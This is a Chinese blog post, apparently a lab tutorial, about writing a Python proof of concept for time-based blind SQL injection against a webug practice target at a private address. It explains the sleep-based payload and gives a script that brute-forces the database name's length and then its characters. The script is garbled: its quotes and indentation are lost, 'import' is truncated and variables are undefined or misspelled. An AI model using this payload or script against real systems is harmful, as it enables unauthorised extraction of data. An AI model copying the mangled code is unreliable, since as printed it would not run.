1. 程式人生 > >時間盲註poc編寫

時間盲註poc編寫

sub 每一個 就是 .get response main return 一個 判斷

當測試註入漏洞時,頁面沒有返還結果,連報錯都沒有時,可以考慮延時。

比如這條語句 ?type=1 and if(length(database())=%d,sleep(5),1)

如果這條語句被服務器正確執行,那麽服務器返回數據強要比平時慢5秒,通過比較時間來判斷正確還是錯誤。

這就給我們編程提供了思路,如果要猜測一個字段可以先猜測其長度,在一個猜每一個字符

這次依舊是webug的一道練習題

mport requests
import time

payloads = qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,
print( start get length...)
def long():   
for l in range(1,21):   startTime1=time.time()   url1 = "http://192.168.148.129/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)    response1 = requests.get(url1)   if time.time() - startTime1 > 5:    length=l   
print ("the length is " + str(length))   break
  return length
def inject():   print( start database sql injection...)   for d in range(1,length+1):   for payload in payloads:   startTime2=time.time()   url2 = "http://192.168.148.129/pentest/test/time/?type=1 and if(substr(database(),‘%d‘,1)=‘%s‘,sleep(5),1)
"%(d,payload)   response2 = requests.get(url2) #   if time.time() - startTime2 > 5:   database+=payload   print(database)   break
  return database
if __name__ == ‘__main__‘:
  length=long()
  dabase=inject()
  print("the database is " + database)

思路就是先猜字段長度,在與payload裏的每個字符進行比較得到最終結果。

時間盲註poc編寫